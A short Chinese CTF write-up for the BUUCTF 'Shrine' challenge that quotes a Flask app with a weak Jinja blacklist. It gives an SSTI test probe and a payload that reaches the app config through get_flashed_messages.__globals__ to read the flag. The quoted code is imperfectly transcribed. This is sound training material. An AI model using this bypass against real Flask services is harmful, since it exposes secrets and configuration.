BUUCTF WEB SHRINE

依然是经典代码审计：

import flask
import os
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG')
@ app.route('/') 
def index(): 
  return open(__file__).read()
@ app.route('/shrine/') 
def shrine(shrine): 
  def safe_jinja(s): 
    s = s.replace('(', '').replace(')', '') 
    blacklist = ['config', 'self']
    return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': 
  app.run(debug = True)

看见safe_jinjia说不是SSTI注入我都不信
基础验证/shrine/{{2+2}}，回显4，验证成功
下面就是怎么拿到flag，根据代码，flag在app的config里，通过内置函数get_flashed_messages进行绕过
payload:shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
常用绕过姿势：
https://zhuanlan.zhihu.com/p/93746437
参考视频链接：https://www.bilibili.com/video/BV1nq4y1m7ek